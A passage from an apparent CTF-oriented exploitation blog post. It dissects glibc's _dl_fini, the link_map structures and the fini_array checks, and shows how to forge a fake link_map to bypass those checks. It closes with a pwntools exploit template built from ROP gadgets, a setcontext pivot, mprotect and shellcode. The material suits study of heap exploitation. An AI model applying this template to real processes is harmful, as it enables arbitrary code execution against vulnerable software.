0x00007ffff7fc90d5 <+149>: mov esi,0x2
0x00007ffff7fc90da <+154>: mov rdi,r12
0x00007ffff7fc90dd <+157>: mov QWORD PTR [rbp-0x58],rsp
0x00007ffff7fc90e1 <+161>: call 0x7ffff7fde250 <_dl_audit_activity_nsid>
0x00007ffff7fc90e6 <+166>: mov eax,r15d
0x00007ffff7fc90e9 <+169>: mov rdx,rsp
0x00007ffff7fc90ec <+172>: lea rax,[rax*8+0xf]
0x00007ffff7fc90f4 <+180>: shr rax,0x4
0x00007ffff7fc90f8 <+184>: shl rax,0x4
0x00007ffff7fc90fc <+188>: mov rcx,rax
0x00007ffff7fc90ff <+191>: and rcx,0xfffffffffffff000
0x00007ffff7fc9106 <+198>: sub rdx,rcx
0x00007ffff7fc9109 <+201>: cmp rsp,rdx
0x00007ffff7fc910c <+204>: je 0x7ffff7fc9123 <_dl_fini+227>
0x00007ffff7fc910e <+206>: sub rsp,0x1000
0x00007ffff7fc9115 <+213>: or QWORD PTR [rsp+0xff8],0x0
0x00007ffff7fc911e <+222>: cmp rsp,rdx
0x00007ffff7fc9121 <+225>: jne 0x7ffff7fc910e <_dl_fini+206>
0x00007ffff7fc9123 <+227>: and eax,0xfff
0x00007ffff7fc9128 <+232>: sub rsp,rax
0x00007ffff7fc912b <+235>: test rax,rax
0x00007ffff7fc912e <+238>: jne 0x7ffff7fc9333 <_dl_fini+755>
0x00007ffff7fc9134 <+244>: mov rax,QWORD PTR [rbx]
0x00007ffff7fc9137 <+247>: mov r14,rsp
0x00007ffff7fc913a <+250>: xor esi,esi
0x00007ffff7fc913c <+252>: test rax,rax
0x00007ffff7fc913f <+255>: jne 0x7ffff7fc9151 <_dl_fini+273>
0x00007ffff7fc9141 <+257>: jmp 0x7ffff7fc917f <_dl_fini+319>
0x00007ffff7fc9143 <+259>: nop DWORD PTR [rax+rax*1+0x0]
0x00007ffff7fc9148 <+264>: mov rax,QWORD PTR [rax+0x18]
0x00007ffff7fc914c <+268>: test rax,rax
0x00007ffff7fc914f <+271>: je 0x7ffff7fc917f <_dl_fini+319>
0x00007ffff7fc9151 <+273>: cmp QWORD PTR [rax+0x28],rax
0x00007ffff7fc9155 <+277>: jne 0x7ffff7fc9148 <_dl_fini+264>
0x00007ffff7fc9157 <+279>: cmp r15d,esi
0x00007ffff7fc915a <+282>: jbe 0x7ffff7fc937e <_dl_fini+830>
0x00007ffff7fc9160 <+288>: mov edx,esi
0x00007ffff7fc9162 <+290>: mov QWORD PTR [r14+rdx*8],rax
0x00007ffff7fc9166 <+294>: mov DWORD PTR [rax+0x3f4],esi
0x00007ffff7fc916c <+300>: add esi,0x1
0x00007ffff7fc916f <+303>: add DWORD PTR [rax+0x318],0x1
0x00007ffff7fc9176 <+310>: mov rax,QWORD PTR [rax+0x18]
0x00007ffff7fc917a <+314>: test rax,rax
0x00007ffff7fc917d <+317>: jne 0x7ffff7fc9151 <_dl_fini+273>
0x00007ffff7fc917f <+319>: cmp r15d,esi
0x00007ffff7fc9182 <+322>: sete al
0x00007ffff7fc9185 <+325>: test r12,r12
0x00007ffff7fc9188 <+328>: jne 0x7ffff7fc9192 <_dl_fini+338>
0x00007ffff7fc918a <+330>: test al,al
0x00007ffff7fc918c <+332>: je 0x7ffff7fc93bc <_dl_fini+892>
0x00007ffff7fc9192 <+338>: test r12,r12
0x00007ffff7fc9195 <+341>: sete dl
0x00007ffff7fc9198 <+344>: test al,al
0x00007ffff7fc919a <+346>: jne 0x7ffff7fc91ad <_dl_fini+365>
0x00007ffff7fc919c <+348>: test dl,dl
0x00007ffff7fc919e <+350>: jne 0x7ffff7fc91ad <_dl_fini+365>
0x00007ffff7fc91a0 <+352>: sub r15d,0x1
0x00007ffff7fc91a4 <+356>: cmp r15d,esi
0x00007ffff7fc91a7 <+359>: jne 0x7ffff7fc939d <_dl_fini+861>
0x00007ffff7fc91ad <+365>: movzx edx,dl
0x00007ffff7fc91b0 <+368>: mov ecx,0x1
0x00007ffff7fc91b5 <+373>: mov rdi,r14
0x00007ffff7fc91b8 <+376>: mov DWORD PTR [rbp-0x38],esi
0x00007ffff7fc91bb <+379>: call 0x7ffff7fd6730 <_dl_sort_maps>
0x00007ffff7fc91c0 <+384>: mov rdi,r13
0x00007ffff7fc91c3 <+387>: call QWORD PTR [rip+0x338af] # 0x7ffff7ffca78 <___rtld_mutex_unlock>
0x00007ffff7fc91c9 <+393>: mov esi,DWORD PTR [rbp-0x38]
0x00007ffff7fc91cc <+396>: test esi,esi
0x00007ffff7fc91ce <+398>: je 0x7ffff7fc9292 <_dl_fini+594>
0x00007ffff7fc91d4 <+404>: lea eax,[rsi-0x1]
0x00007ffff7fc91d7 <+407>: lea rax,[r14+rax*8+0x8]
0x00007ffff7fc91dc <+412>: mov QWORD PTR [rbp-0x50],rax
0x00007ffff7fc91e0 <+416>: mov r15,QWORD PTR [r14]
0x00007ffff7fc91e3 <+419>: movzx eax,BYTE PTR [r15+0x31c]
0x00007ffff7fc91eb <+427>: test al,0x8
0x00007ffff7fc91ed <+429>: je 0x7ffff7fc927c <_dl_fini+572>
0x00007ffff7fc91f3 <+435>: and eax,0xfffffff7
0x00007ffff7fc91f6 <+438>: mov BYTE PTR [r15+0x31c],al
0x00007ffff7fc91fd <+445>: mov rax,QWORD PTR [r15+0x110]
0x00007ffff7fc9204 <+452>: test rax,rax
0x00007ffff7fc9207 <+455>: je 0x7ffff7fc92a8 <_dl_fini+616>
0x00007ffff7fc920d <+461>: test BYTE PTR [rip+0x338cc],0x2 # 0x7ffff7ffcae0 <_rtld_global_ro>
0x00007ffff7fc9214 <+468>: jne 0x7ffff7fc92c0 <_dl_fini+640>
0x00007ffff7fc921a <+474>: mov rax,QWORD PTR [rax+0x8]
0x00007ffff7fc921e <+478>: add rax,QWORD PTR [r15]
0x00007ffff7fc9221 <+481>: mov rsi,rax
0x00007ffff7fc9224 <+484>: mov QWORD PTR [rbp-0x40],rax
0x00007ffff7fc9228 <+488>: mov rax,QWORD PTR [r15+0x120]
0x00007ffff7fc922f <+495>: mov rdx,QWORD PTR [rax+0x8]
0x00007ffff7fc9233 <+499>: shr rdx,0x3
0x00007ffff7fc9237 <+503>: lea eax,[rdx-0x1]
0x00007ffff7fc923a <+506>: lea rax,[rsi+rax*8]
0x00007ffff7fc923e <+510>: test edx,edx
0x00007ffff7fc9240 <+512>: je 0x7ffff7fc925f <_dl_fini+543>
0x00007ffff7fc9242 <+514>: nop WORD PTR [rax+rax*1+0x0]
0x00007ffff7fc9248 <+520>: mov QWORD PTR [rbp-0x38],rax
0x00007ffff7fc924c <+524>: call QWORD PTR [rax]
0x00007ffff7fc924e <+526>: mov rax,QWORD PTR [rbp-0x38]
0x00007ffff7fc9252 <+530>: mov rdx,rax
0x00007ffff7fc9255 <+533>: sub rax,0x8
0x00007ffff7fc9259 <+537>: cmp QWORD PTR [rbp-0x40],rdx
0x00007ffff7fc925d <+541>: jne 0x7ffff7fc9248 <_dl_fini+520>
0x00007ffff7fc925f <+543>: mov rax,QWORD PTR [r15+0xa8]
0x00007ffff7fc9266 <+550>: test rax,rax
0x00007ffff7fc9269 <+553>: je 0x7ffff7fc9274 <_dl_fini+564>
0x00007ffff7fc926b <+555>: mov rax,QWORD PTR [rax+0x8]
0x00007ffff7fc926f <+559>: add rax,QWORD PTR [r15]
0x00007ffff7fc9272 <+562>: call rax
0x00007ffff7fc9274 <+564>: mov rdi,r15
0x00007ffff7fc9277 <+567>: call 0x7ffff7fde570 <_dl_audit_objclose>
0x00007ffff7fc927c <+572>: sub DWORD PTR [r15+0x318],0x1
0x00007ffff7fc9284 <+580>: add r14,0x8
0x00007ffff7fc9288 <+584>: cmp QWORD PTR [rbp-0x50],r14
0x00007ffff7fc928c <+588>: jne 0x7ffff7fc91e0 <_dl_fini+416>
0x00007ffff7fc9292 <+594>: xor esi,esi
0x00007ffff7fc9294 <+596>: mov rdi,r12
0x00007ffff7fc9297 <+599>: call 0x7ffff7fde250 <_dl_audit_activity_nsid>
0x00007ffff7fc929c <+604>: mov rsp,QWORD PTR [rbp-0x58]
0x00007ffff7fc92a0 <+608>: jmp 0x7ffff7fc9099 <_dl_fini+89>
0x00007ffff7fc92a5 <+613>: nop DWORD PTR [rax]
0x00007ffff7fc92a8 <+616>: mov rax,QWORD PTR [r15+0xa8]
0x00007ffff7fc92af <+623>: test rax,rax
0x00007ffff7fc92b2 <+626>: je 0x7ffff7fc9274 <_dl_fini+564>
0x00007ffff7fc92b4 <+628>: test BYTE PTR [rip+0x33825],0x2 # 0x7ffff7ffcae0 <_rtld_global_ro>
0x00007ffff7fc92bb <+635>: je 0x7ffff7fc926b <_dl_fini+555>
0x00007ffff7fc92bd <+637>: nop DWORD PTR [rax]
0x00007ffff7fc92c0 <+640>: mov rsi,QWORD PTR [r15+0x8]
0x00007ffff7fc92c4 <+644>: cmp BYTE PTR [rsi],0x0
0x00007ffff7fc92c7 <+647>: je 0x7ffff7fc9319 <_dl_fini+729>
0x00007ffff7fc92c9 <+649>: xor eax,eax
0x00007ffff7fc92cb <+651>: mov rdx,r12
0x00007ffff7fc92ce <+654>: lea rdi,[rip+0x277bc] # 0x7ffff7ff0a91
0x00007ffff7fc92d5 <+661>: call 0x7ffff7fd2bc0 <_dl_debug_printf>
0x00007ffff7fc92da <+666>: mov rax,QWORD PTR [r15+0x110]
0x00007ffff7fc92e1 <+673>: test rax,rax
0x00007ffff7fc92e4 <+676>: je 0x7ffff7fc925f <_dl_fini+543>
0x00007ffff7fc92ea <+682>: jmp 0x7ffff7fc921a <_dl_fini+474>
0x00007ffff7fc92ef <+687>: nop
0x00007ffff7fc92f0 <+688>: mov edx,DWORD PTR [rbp-0x44]
0x00007ffff7fc92f3 <+691>: test edx,edx
0x00007ffff7fc92f5 <+693>: jne 0x7ffff7fc9301 <_dl_fini+705>
0x00007ffff7fc92f7 <+695>: mov eax,DWORD PTR [rip+0x33b7b] # 0x7ffff7ffce78 <_rtld_global_ro+920>
0x00007ffff7fc92fd <+701>: test eax,eax
0x00007ffff7fc92ff <+703>: jne 0x7ffff7fc933e <_dl_fini+766>
0x00007ffff7fc9301 <+705>: test BYTE PTR [rip+0x337d8],0x80 # 0x7ffff7ffcae0 <_rtld_global_ro>
0x00007ffff7fc9308 <+712>: jne 0x7ffff7fc9360 <_dl_fini+800>
0x00007ffff7fc930a <+714>: lea rsp,[rbp-0x28]
0x00007ffff7fc930e <+718>: pop rbx
0x00007ffff7fc930f <+719>: pop r12
0x00007ffff7fc9311 <+721>: pop r13
0x00007ffff7fc9313 <+723>: pop r14
0x00007ffff7fc9315 <+725>: pop r15
0x00007ffff7fc9317 <+727>: pop rbp
0x00007ffff7fc9318 <+728>: ret
0x00007ffff7fc9319 <+729>: mov rax,QWORD PTR [rip+0x337a0] # 0x7ffff7ffcac0 <_dl_argv>
0x00007ffff7fc9320 <+736>: mov rsi,QWORD PTR [rax]
0x00007ffff7fc9323 <+739>: lea rax,[rip+0x277f9] # 0x7ffff7ff0b23
0x00007ffff7fc932a <+746>: test rsi,rsi
0x00007ffff7fc932d <+749>: cmove rsi,rax
0x00007ffff7fc9331 <+753>: jmp 0x7ffff7fc92c9 <_dl_fini+649>
0x00007ffff7fc9333 <+755>: or QWORD PTR [rsp+rax*1-0x8],0x0
0x00007ffff7fc9339 <+761>: jmp 0x7ffff7fc9134 <_dl_fini+244>
0x00007ffff7fc933e <+766>: mov r12,QWORD PTR [rip+0x346fb] # 0x7ffff7ffda40 <_rtld_global+2560>
0x00007ffff7fc9345 <+773>: mov DWORD PTR [rbp-0x44],0x1
0x00007ffff7fc934c <+780>: sub r12,0x1
0x00007ffff7fc9350 <+784>: jns 0x7ffff7fc9074 <_dl_fini+52>
0x00007ffff7fc9356 <+790>: jmp 0x7ffff7fc9301 <_dl_fini+705>
0x00007ffff7fc9358 <+792>: nop DWORD PTR [rax+rax*1+0x0]
0x00007ffff7fc9360 <+800>: mov rdx,QWORD PTR [rip+0x34779] # 0x7ffff7ffdae0 <_rtld_global+2720>
0x00007ffff7fc9367 <+807>: mov rsi,QWORD PTR [rip+0x3476a] # 0x7ffff7ffdad8 <_rtld_global+2712>
0x00007ffff7fc936e <+814>: lea rdi,[rip+0x29ea3] # 0x7ffff7ff3218
0x00007ffff7fc9375 <+821>: xor eax,eax
0x00007ffff7fc9377 <+823>: call 0x7ffff7fd2bc0 <_dl_debug_printf>
0x00007ffff7fc937c <+828>: jmp 0x7ffff7fc930a <_dl_fini+714>
0x00007ffff7fc937e <+830>: lea rcx,[rip+0x29f0b] # 0x7ffff7ff3290 <__PRETTY_FUNCTION__.0>
0x00007ffff7fc9385 <+837>: mov edx,0x52
0x00007ffff7fc938a <+842>: lea rsi,[rip+0x2785c] # 0x7ffff7ff0bed
0x00007ffff7fc9391 <+849>: lea rdi,[rip+0x2785f] # 0x7ffff7ff0bf7
0x00007ffff7fc9398 <+856>: call 0x7ffff7fe1460 <__GI___assert_fail>
0x00007ffff7fc939d <+861>: lea rcx,[rip+0x29eec] # 0x7ffff7ff3290 <__PRETTY_FUNCTION__.0>
0x00007ffff7fc93a4 <+868>: mov edx,0x5d
0x00007ffff7fc93a9 <+873>: lea rsi,[rip+0x2783d] # 0x7ffff7ff0bed
0x00007ffff7fc93b0 <+880>: lea rdi,[rip+0x29e29] # 0x7ffff7ff31e0
0x00007ffff7fc93b7 <+887>: call 0x7ffff7fe1460 <__GI___assert_fail>
0x00007ffff7fc93bc <+892>: lea rcx,[rip+0x29ecd] # 0x7ffff7ff3290 <__PRETTY_FUNCTION__.0>
0x00007ffff7fc93c3 <+899>: mov edx,0x5c
0x00007ffff7fc93c8 <+904>: lea rsi,[rip+0x2781e] # 0x7ffff7ff0bed
0x00007ffff7fc93cf <+911>: lea rdi,[rip+0x29de2] # 0x7ffff7ff31b8
0x00007ffff7fc93d6 <+918>: call 0x7ffff7fe1460 <__GI___assert_fail>
End of assembler dump.
Array | fini_array
In the _dl_fini()
function, the fini_array
is directly referenced:
- The
fini_array
is fetched usingl->l_info[DT_FINI_ARRAY]->d_un.d_ptr
. This provides the base address of thefini_array
. - The size of the array is retrieved from
l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
and divided bysizeof(ElfW(Addr))
to get the number of entries. - The loop calls each function in reverse order:
((fini_t) array[i])()
.
We can observe it in GDB:
The l_info
field we're observing is an array of pointers that typically correspond to various dynamic linking information entries, such as DT_INIT
, DT_FINI
, DT_INIT_ARRAY
, DT_FINI_ARRAY
, and others. These entries help the dynamic linker manage and initialize shared libraries, set up constructor/destructor functions, and handle other necessary runtime linking tasks.
Here’s a list of common dynamic entries and their corresponding indices:
The l_info
field we're observing is an array of pointers that typically correspond to various dynamic linking information entries, such as DT_INIT
, DT_FINI
, DT_INIT_ARRAY
, DT_FINI_ARRAY
, and others. These entries help the dynamic linker manage and initialize shared libraries, set up constructor/destructor functions, and handle other necessary runtime linking tasks.
Here’s a list of common dynamic entries and their corresponding indices:
Index | Name | Description |
---|---|---|
0 | DT_NULL | Marks the end of the dynamic section |
1 | DT_NEEDED | Name of a needed library |
2 | DT_PLTRELSZ | Size in bytes of PLT relocation entries |
3 | DT_PLTGOT | Address associated with the procedure linkage table |
4 | DT_HASH | Address of the symbol hash table |
5 | DT_STRTAB | Address of the string table |
6 | DT_SYMTAB | Address of the symbol table |
25 | DT_INIT_ARRAY | Pointer to the initialization function array |
26 | DT_FINI_ARRAY | Pointer to the termination function array |
27 | DT_INIT_ARRAYSZ | Size of the DT_INIT_ARRAY in bytes |
28 | DT_FINI_ARRAYSZ | Size of the DT_FINI_ARRAY in bytes |
Typically, the dynamic linker utilizes several of these entries:
l_info[DT_FINI]
: Contains the pointer to theDT_FINI
entry, which is the destructor function to be called when the program or library is unloaded.l_info[DT_INIT]
: Contains the pointer to theDT_INIT
entry, which is the constructor function to be called when the program or library is loaded.l_info[DT_FINI_ARRAY]
: This points to an array of functions to be called when the program or library terminates (destructors).l_info[DT_INIT_ARRAY]
: This points to an array of functions to be called during initialization (constructors).
The DT_FINI_ARRAY
entry, stored at index 0x1A
(decimal 26
), is our target. It is executed when the program exits. Additionally, DT_FINI_ARRAYSZ
, stored at index 28
, specifies the size of the fini_array
.
Attack Chain
After understanding relevant structures and functions, we can depict the attack chain as:
exit
└───►_dl_fini
└───► ((fini_t) array[i]) ()
The hijack endpoint ((fini_t) array[i]) ()
will reference the following structures:
_rtld_global -> ns_loaded (3rd) -> link_map (fake) -> fini_array (hijacked)
Security Checks
Certain protection mechanism is applied in the cleanup routine, specifically in the _dl_fini
function. The protection is designed to prevent attackers from manipulating the link_map
structures and exploiting them for code execution.
Check 1
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
// -------------------check1-------------------
if (l == l->l_real)
// -------------------check1-------------------
{
assert (i < nloaded);
maps[i] = l;
l->l_idx = i;
++i;
/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
- The
l == l->l_real
check prevents an attacker from replacing thelink_map
structure with a fake one because thel_real
pointer must match thelink_map
's own address. - The index (
l_idx
) and reference counting (l_direct_opencount
) also provide a layer of integrity, ensuring that objects can't be unloaded prematurely and that the right number oflink_map
structures are being processed. - The assertions act as additional safeguards, ensuring that the number of
link_map
objects matches the expected value, thwarting attempts to add or remove objects from the list.
Check 2, 3, 4
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];
// -------------------check2-------------------
if (l->l_init_called)
// -------------------check2-------------------
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;
/* Is there a destructor function? */
// -------------------check3-------------------
if (l->l_info[26] != NULL
|| l->l_info[DT_FINI] != NULL)
// -------------------check3-------------------
{
....
// -------------------check4-------------------
if (l->l_info[26] != NULL)
// -------------------check4-------------------
{
array = (l->l_addr + l->l_info[26]->d_un.d_ptr);
i = (l->l_info[28]->d_un.d_val / 8));
while (i-- > 0)
((fini_t) array[i]) ();
}
...
}
}
}
- Check 2: It ensures that the fini (destructor) functions are only called once for each loaded object.
- If
l->l_init_called
is set to 1, it means the initialization functions have already been called, and it is safe to proceed with calling the destructors. After the check passes,l->l_init_called
is set to 0 to prevent calling the destructors multiple times for the same object. - This prevents an attacker from causing the destructor functions to be called repeatedly, potentially leading to double-free vulnerabilities or other forms of memory corruption.
- If
- Check 3: This check ensures that the object has valid destructor functions registered. The
l_info
array contains information about the dynamic section of the ELF file.l_info[DT_FINI_ARRAY]
(index 26): Points to the array of destructor function pointers.l_info[DT_FINI]
: Points to a single destructor function (if any).- Ensure that the program only attempts to run destructors if there are any registered for the shared object. This prevents accessing invalid memory or calling non-existent functions, which could be exploited to execute arbitrary code if not properly checked.
- Check 4: This block processes the
DT_FINI_ARRAY
, which contains multiple destructor function pointers.- Array Bounds: The variable
i
is initialized with the number of destructors (l_info[DT_FINI_ARRAYSZ]
divided by the size of a pointer, which is 8 bytes on 64-bit systems). This ensures that the code only iterates over valid entries in theDT_FINI_ARRAY
, preventing an out-of-bounds access. - Valid Function Pointers: It assumes that the array contains valid function pointers and calls them as destructor functions:
((fini_t) array[i]) ();
. By ensuring that the array size is properly calculated and only valid entries are accessed, it helps prevent invoking unintended or malicious code from an attacker.
- Array Bounds: The variable
Hijack & Bypass
To hijack the execution flow at the end of our target, we need to fake a link_map
structure to bypass the security checks. For this analysis, let's assume the address of our fake link_map
is A
.
Bypass Check 1
This is straightforward. We need to set the l_real
pointer (at A+0x28
) to point to the address of the fake link_map
itself.
Overall, we should modify *(A + 0x28) = A
to bypass this check.
Bypass Check 2
We can calculates the offset between the beginning of the fake link_map
structure and the l_init_called
field:
distance _rtld_global._dl_ns[0]._ns_loaded &(_rtld_global._dl_ns[0]._ns_loaded)->l_init_called
And check the current value of the l_init_called
field at the specific memory address:
x/wx &(_rtld_global._dl_ns[0]._ns_loaded)->l_init_called
Overall, we should modify *(A + 0x314) = 0x4011c
to bypass this check.
Bypass Check 3,4
Hijack array[i]
Calculate the offset in the fake link_map
structure where we need to place the values for l_info[26]
(which corresponds to DT_FINI_ARRAY
):
distance (_rtld_global._dl_ns[0]._ns_loaded) &((_rtld_global._dl_ns[0]._ns_loaded)->l_info[26])
l_info[DT_FINI_ARRAY]
: This points to thefini_array
, an array of function pointers to destructors that should be executed when the program finishes.- By setting
l_info[26]
to point to a controlled memory area, we can control which functions are called.
Overall, we should modify *(A + 0x110) = B
to hijack execution flow, where B
is a controlled memory with our malicious pointers.
Calculate the offset in the fake link_map
structure where we need to place the values for l_info[28]
(which corresponds to DT_FINI_ARRAYSZ
):
distance (_rtld_global._dl_ns[0]._ns_loaded) &((_rtld_global._dl_ns[0]._ns_loaded)->l_info[28])
l_info[DT_FINI_ARRAYSZ]
: This stores the size of thefini_array
, and it's used to determine how many entries in the array should be executed.- By setting this field, we can control how many function pointers in the array will be executed.
Overall, we should modify *(A + 0x120) = B
to hijack execution flow, where B
is a controlled memory with our malicious pointers.
Our final goal is to hijack ((fini_t) array[i]) ()
, where we have l_info[26]
(for the array
), and l_info[28]
(for the i
).
Normal array[i]
We can leverage the usual looking of array[i]
to forge our data (function pointers) within the array.
In a normal execution flow, we can examine l_info[26]
:
p/x *((_rtld_global._dl_ns[0]._ns_loaded)->l_info[26])
// p/x ((_rtld_global._dl_ns[0]._ns_loaded)->l_info[26])->d_un.d_ptr
The d_ptr
in l_info[26]
points to the actual fini_array
at offset 0x3d68
. It's a relative address from the base address l_addr
, which is the base address of the loaded shared object. As we can see from the source code above, the array is structured as follows:
array = (l->l_addr + l->l_info[26]->d_un.d_ptr);
Therefore, we can first view the base address in GDB using command:
p/x (_rtld_global._dl_ns[0]._ns_loaded)->l_addr
Add up the offset and base address, then observe where the final address l_info[26]
points to:
This points to the function __do_global_dtors_aux
, which is the destructor function for global destructors. The subsequent entries in the _DYNAMIC
section relates to dynamic linker information.
Similarly, we can investigate l_info[28]
:
p/x *((_rtld_global._dl_ns[0]._ns_loaded)->l_info[28])
d_val = 0x8
indicates the size of the fini_array
is 0x8
bytes (which corresponds to one function pointer).
Methodology
Once exit
is triggered, _dl_fini
will reference the _rtld_global
structure, where we will inject our fake link_map
structure.
Step 1
First, the _ns_loaded
field in _rtld_global
should be modified to point to the fake third link_map
entry, which can be placed on the heap, for instance.
At least 4
link_map
structures are linked by the_ns_loaded
. The thirdlink_map
in the chain is chosen because it simplifies the attack, so that we don't need to forge all four in the linked list.
We can search for the 3rd one in GDB with the following command:
p &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
Whose address can be dynamically calculated with a fixed offset to LIBC base:
Overwrite this 3rd l_next
pointer to point to our fake link_map
. For example, this can be a controlled heap—assume the address of this fake link_map
is A
for the following analysis.
Step 2
To bypass the 1st security check from dl_fini
, we should satisfy:
l_next
: Point to the next legitimatelink_map
, namely*(A + 0x18) = next_link_map
(view in GDB:&(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next->l_next
).l_real
: Point to itself to bypassmaps[i] = l
, namely*(A + 0x28) = A
.
Step 3
To bypass the 2nd security check from dl_fini
, we should satisfy:
l_init_called
: this value can vary from environments—check the runtime variables. For example,*(A + 0x31c) = 0x4011c
.
Step 4
Forge the fini_array
to execute ((fini_t) array[i]) ()
.
For the array
array (for example: at offset 0x110
):
*(A + 0x110) = A + 0x40
*(A + 0x48) = A + 0x58
*(A + 0x58) = <malicious_pointers>
For the i
index (for example: at offset 0x120
):
*(A + 0x120) = A + 0x48
*(A + 0x50) = 8
EXP Template
Adjust the template according to real attack scenario:
# _rtld_global
rtld_global_addr = 0xdeadc0de
"""
distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
"""
linkMap3_addr = rtld_global_addr + 0xdead4all # largebin attack target
pa(rtld_global_addr)
pa(linkMap3_addr)
# Gadgets
setcontext = libc_base + libc.sym['setcontext'] + 61
mprotect = libc_base + libc.sym['mprotect']
rop = ROP(libc)
p_rdi_r = libc_base + rop.find_gadget(['pop rdi', 'ret'])[0]
p_rsi_r = libc_base + rop.find_gadget(['pop rsi', 'ret'])[0]
p_rdx_rbx_r = libc_base + rop.find_gadget(['pop rdx', 'pop rbx', 'ret'])[0]
ret = libc_base + rop.find_gadget(['ret'])[0]
pa(setcontext)
fakeLinkMap_addr = 0xdeadbeef
nextLinkMap_addr = 0xdeadbabe
mprotect_chain = [p_rdi_r, fakeLinkMap_addr&(~0xfff), p_rsi_r, 0x4000, \
p_rdx_rbx_r, 7, 0, mprotect, fakeLinkMap_addr+0x140] # 0x48 bytes
orw_chain = asm(shellcraft.cat('/flag')) # 0x23 bytes
pa(fakeLinkMap_addr)
pl = flat({
# fake link_map
0: {
0x18: nextLinkMap_addr, # l_next
0x28: fakeLinkMap_addr, # l_real
0x48: fakeLinkMap_addr+0x58, # l_info[26]->d_ptr (func)
0x50: 8, # l_info[28]->d_ptr (size)
"""
Set rdx=fakeLinkMap_addr before exploit
Or patche the attack chain according to actual rdx value
setcontext:
<+61>: mov rsp, [rdx+0xa0]
<+294>: mov rcx, [rdx+0xa8]
<+301>: push rcx
<+334>: ret
"""
0x58: setcontext, # RIP!
},
0x100: {
0x10: fakeLinkMap_addr + 0x40, # l_info[26], DT_FINI_ARRAY
0x20: fakeLinkMap_addr + 0x48, # l_info[28], DT_FINI_ARRAYSZ
0x40: orw_chain, # mprotect ->
0xa0: [fakeLinkMap_addr+0x200, ret], # setcontext ->
},
0x200: {
0x0 : mprotect_chain,
},
0x300: {
"""
distance _rtld_global._dl_ns[0]._ns_loaded &(_rtld_global._dl_ns[0]._ns_loaded)->l_init_called
"""
0x1c: 0x4011c, # l_init_called
}
}, filler='\0')
Use with self-custom defined functions in EXP template: link
DEMO
I might save the writeup for a pwn challenge for another article—this post is already long enough!
Comments | NOTHING